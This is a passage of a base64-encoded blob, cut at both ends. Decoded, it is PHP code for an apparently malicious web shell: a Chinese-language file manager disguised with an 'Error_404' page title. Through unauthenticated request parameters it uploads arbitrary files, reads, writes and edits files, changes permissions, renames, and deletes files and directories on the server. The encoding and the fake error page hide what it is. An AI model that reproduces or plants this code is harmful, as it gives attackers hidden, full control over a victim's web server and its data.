kcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQogICAgICAgICAgICAkaW5mbyA9ICdkJzsKICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7Ly8gQ2hhcmFjdGVyIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgey8vIEZJRk8gcGlwZQogICAgICAgICAgICAkaW5mbyA9ICdwJzsKICAgICAgICB9IGVsc2Ugey8vIFVua25vd24KICAgICAgICAgICAgJGluZm8gPSAndSc7CiAgICAgICAgfQovLyBPd25lcgogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKLy8gR3JvdXAKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCi8vIFdvcmxkCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgICAgIHJldHVybiAkaW5mbzsKICAgIH0KCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgLyoqCiAgICAgKiDovazljJYgXCDkuLogLwogICAgICovCiAgICBmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkKICAgIHsKICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOwogICAgICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7CiAgICAgICAgcmV0dXJuICRwYXRoOwogICAgfQoKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogICAgLyoqIOWPluW+l+ermeeCueagueebruW9lQogICAgICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10KICAgICAqLwogICAgZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpewoKICAgICAgICAkcGhwX3NlbGYgPSBkaXJfcGF0aCgkX1NFUlZFUlsiUEhQX1NFTEYiXSk7CiAgICAgICAgJHNjcmlwdF9maWxlbmFtZSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiAgICAgICAgaWYgKGVtcHR5KCRfU0VSVkVSWyJQSFBfU0VMRiJdKSBvciBlbXB0eSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKXsKICAgICAgICAgICAgJGRvMSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0pOwogICAgICAgICAgICAkZG8gPSBydHJpbSgkZG8xLCcvJyk7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICRkbyA9IHN0cl9yZXBsYWNlKHN0cl9yZXBsYWNlKCIvLyIsICIvIiwgJHBocF9zZWxmKSwgIiIsIHN0cl9yZXBsYWNlKCJcXFxcIiwgIi8iLCAkc2NyaXB0X2ZpbGVuYW1lKSk7CiAgICAgICAgfQoJCWlmKGVtcHR5KCRkbykpICRkbyA9ICcvJzsKICAgICAgICByZXR1cm4gJGRvOwogICAgfQogICAgJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7CiAgICBkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7CgovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCgoKICAgICRwaHBfdmVyc2lvbiA9IFBIUF9NQUpPUl9WRVJTSU9OOwoJaWYoJHBocF92ZXJzaW9uPD03KXsKCQlpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsKCQkJZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsKCQkJCSRfUE9TVFska2V5XSA9IHN0cmlwc2xhc2hlcygkdmFsdWUpOwoJCQl9CgkJfQoJfQoKICAgICRWZXJzaW9uID0gYmFzZTY0X2RlY29kZSgnNXB5QTVaQ081NXFFNVlDVTVieTYnKTsKICAgIGlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKICAgICAgICAkcGF0aCA9ICRfR0VUWydwYXRoJ107CiAgICB9ZWxzZXsKICAgICAgICAkcGF0aCA9IGdldGN3ZCgpOwogICAgfQoKCiAgICBlY2hvICc8IWRvY3R5cGUgaHRtbD4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIvPgo8L2hlYWQ+JzsKICAgID8+CgogICAgPGNlbnRlcj4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30KICAgICAgICAgICAgdGFibGUsdGgsdGR7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjEzcHg7fQogICAgICAgICAgICBpbnB1dCx0ZXh0YXJlYXt9CiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30KICAgICAgICAgICAgdGh7cGFkZGluZzoxMHB4O30KICAgICAgICAgICAgLnRkX2hvbWV7cGFkZGluZzo3cHg7fQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30KICAgICAgICAgICAgdGV4dGFyZWF7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7fQogICAgICAgICAgICAjY29udGVudCB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNjZWNlY2U7dGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmY7Y29sb3I6I2ZmZjt9CiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQogICAgICAgICAgICAuZGggYTpob3ZlcnsgY29sb3I6ICNmMDA7fQogICAgICAgIDwvc3R5bGU+CiAgICA8P3BocAogICAgZWNobyAnPC9oZWFkPgo8Ym9keT48Yj4KPEgxPjxjZW50ZXI+PGZvbnQgY29sb3I9InJlZCI+Jy4kVmVyc2lvbi4nPC9mb250PjwvY2VudGVyPjwvaDE+Cjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+Cgo8dHI+PHRkPgoKPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOwogICAgaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpewogICAgICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKICAgIH1lbHNlewogICAgICAgICRwYXRoID0gZ2V0Y3dkKCk7CiAgICB9CiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsKICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCiAgICAkZ2VuX2xpbmtfdXJsID0gJzxhIHN0eWxlPSJjb2xvcjojMDA2NkZGIiBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuRE9DVU1FTlRfUk9PVDsKICAgICRnZW5fbGlua191cmwgLj0gJyI+5qC555uu5b2VIO+8miAgICA8L2E+Jm5ic3A7JzsKICAgIGVjaG8gJGdlbl9saW5rX3VybDsKCiAgICBmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpewogICAgICAgIGlmKCRwYXQgPT0gJycgJiYgJGlkID09IDApewogICAgICAgICAgICAkYSA9IHRydWU7CiAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSMwMDA+CjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOwogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7CiAgICAgICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsKICAgICAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspewogICAgICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsKICAgICAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsKICAgICAgICB9CiAgICAgICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsKICAgIH0KICAgIGVjaG8gJzwvZm9udD4KPGJyPjxicj4KPC90ZD48L3RyPjx0cj48dGQ+PGNlbnRlcj4nOwoKICAgIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewogICAgICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgIH1lbHNlewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgfQogICAgfQogICAgZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IuS4iuS8oCIgLz4KPC9mb3JtPjwvY2VudGVyPgo8L3RkPjwvdHI+JzsKICAgIGlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKICAgICAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsKICAgICAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107CiAgICAgICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsKICAgICAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7CiAgICB9Ci8vRW1wZXR5CiAgICBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gIT0gJ2RlbGV0ZScpewovLyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsKICAgICAgICBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsKLy9DaG1vZAogICAgICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsKICAgICAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107CgogICAgICAgICAgICAgICAgaWYoc3RybGVuKCRuZXdfcGVybV9vKTw9MykgJG5ld19wZXJtX289c3RyX3BhZCgkbmV3X3Blcm1fbywzLCc2JyxTVFJfUEFEX0xFRlQpOwogICAgICAgICAgICAgICAgJG5ld19wZXJtX289aW50dmFsKHN0cl9wYWQoJG5ld19wZXJtX28sNCwnMCcsU1RSX1BBRF9MRUZUKSw4KTsKCiAgICAgICAgICAgICAgICBpZihjaG1vZCgkX1BPU1RbJ3BhdGgnXSwkbmV3X3Blcm1fbykpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5pu05pS55p2D6ZmQ5oiQ5Yqf77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5pu05pS55p2D6ZmQ6ZSZ6K+v77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsKICAgICAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj48YnI+CuW9k+WJjeaWh+S7tiA6ICcuJHBhdGMuJzxicj48YnI+5p2D6ZmQLS0tLScuc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRwYXRjKSwxMCw4KSwtNCkuJzxicj48YnI+Cuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4KPGJyPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+Cic7CgogICAgICAgIH0KLy8KICAgICAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsKICAgICAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBhY3Rpb249Ij9BUlJBWT0nLiRBUlJBWS4nJm9wdGlvbiZwYXRoPScuJGN3ZC4nJm9wdD1kZWxldGUmdHlwZT1idWF0IiBtZXRob2Q9IlBPU1QiPgrmlrDnm67lvZXlkI0gOiA8aW5wdXQgbmFtZT0ibmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSJGb2xkZXIiIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImRlbGV0ZSI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4nOwogICAgICAgIH0KLy9SZW5hbWUgZmlsZQogICAgICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ3JlbmFtZScpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgaWYocmVuYW1lKCRfUE9TVFsncGF0aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+6YeN5ZG95ZCN5oiQ5YqfISA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+6YeN5ZG95ZCN5aSx6LSlISA6KCA8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfUE9TVFsnbmFtZSddID0gJF9QT1NUWyduZXduYW1lJ107CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+CjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPgo8L2Zvcm0+JzsKICAgICAgICB9Ci8vRmlsZSBiYXJ1CiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpewoKICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9IGVtcHR5KCRfUE9TVFsnbmV3bmFtZSddKT8kX1BPU1RbJ25nYXJhbjEnXTokX1BPU1RbJ25ld25hbWUnXTsKICAgICAgICAgICAgJGF6eiA9ICRfUE9TVFsncGF0aCddOwogICAgICAgICAgICAkbmV3eiA9ICRhenouIi8iLiRuZXc7CiAgICAgICAgICAgICRuZXdfZmllbCA9ICRoZWxsLicvJy4kX1BPU1RbJ25nYXJhbjEnXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnbmdhcmFuMSddKSkgZWNobyAi5q2j5Zyo5paw5bu65paH5Lu277yaeyRuZXdfZmllbH08YnI+PGJyPiI7CiAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7CiAgICAgICAgICAgICAgICBpZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuaWsOW7uuaWh+S7tuaIkOWKnyBbICcuJGF6ei4nIF08L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuaWh+S7tuWksei0pSA+Oig8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPiDmlrDmlofku7blkI0gOiA8aW5wdXQgbmFtZT0ibmdhcmFuMSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRuZXcuJyIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJuZ2FyYW4iIC8+PC9mb3JtPjxicj4gJzsKCiAgICAgICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOwoKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZ2FyYW4nXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+CjwvZm9ybT4nOwogICAgICAgICAgICB9CiAgICAgICAgfQovL0VkaXRlZCBmaWxlCiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnZWRpdCcpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOwogICAgICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7nvJbovpHmiJDlip/vvIEgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7nvJbovpHlpLHotKXvvIE8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJHBhdGMpKS4nPC90ZXh0YXJlYT48YnIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPjxicj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+Cjxicj4KPGJyPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4KCjwvZm9ybT4nOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L2NlbnRlcj4nOwogICAgfWVsc2V7CiAgICAgICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7Ci8vRGVsZXRlIGRpciBhbmQgZmlsZQogICAgICAgIGlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddID09ICdkZWxldGUnKXsKCiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgovL0RlbGV0ZSBkaXIKICAgICAgICAgICAgaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZGlyJyl7CgogICAgICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQovL2J1YXQgZm9sZGVyCiAgICAgICAgICAgIGlmKCRfR0VUWyd0eXBlJ10gPT0gJ2J1YXQnKXsKICAgICAgICAgICAgICAgICRoYWFhID0gJF9QT1NUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkaGVlZSA9ICRfUE9TVFsnbmFtZSddOwogICAgICAgICAgICAgICAgJGhvb28gPSAiJGhhYWEvJGhlZWUiOwogICAgICAgICAgICAgICAgJG5ldyA9ICRoYWFhLicvJy5odG1sc3BlY2lhbGNoYXJzKCRoZWVlKTsKICAgICAgICAgICAgICAgIGlmKCFta2RpcigkbmV3KSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5paw5bu655uu5b2V5aSx6LSlITwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rnm67lvZXmiJDlip8hID46KTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9Ci8vRGVsZXRlIGZpbGUKICAgICAgICAgICAgZWxzZWlmKCRfR0VUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKCiAgICAgICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgogICAgICAgICAgICAgICAgaWYodW5saW5rKCRwYXRjKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlofku7bliKDpmaTmiJDlip88L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWh+S7tuWIoOmZpOWksei0pTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvY2VudGVyPic7CiAgICAgICAgJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICAkcGEgPSBnZXRjd2QoKTsKICAgICAgICBlY2hvICcgPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBjbGFzcz0idGFibGVfaG9tZSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogCjx0cj4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiPjxjZW50ZXI+5ZCN56ewPC9jZW50ZXI+PC90aD4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2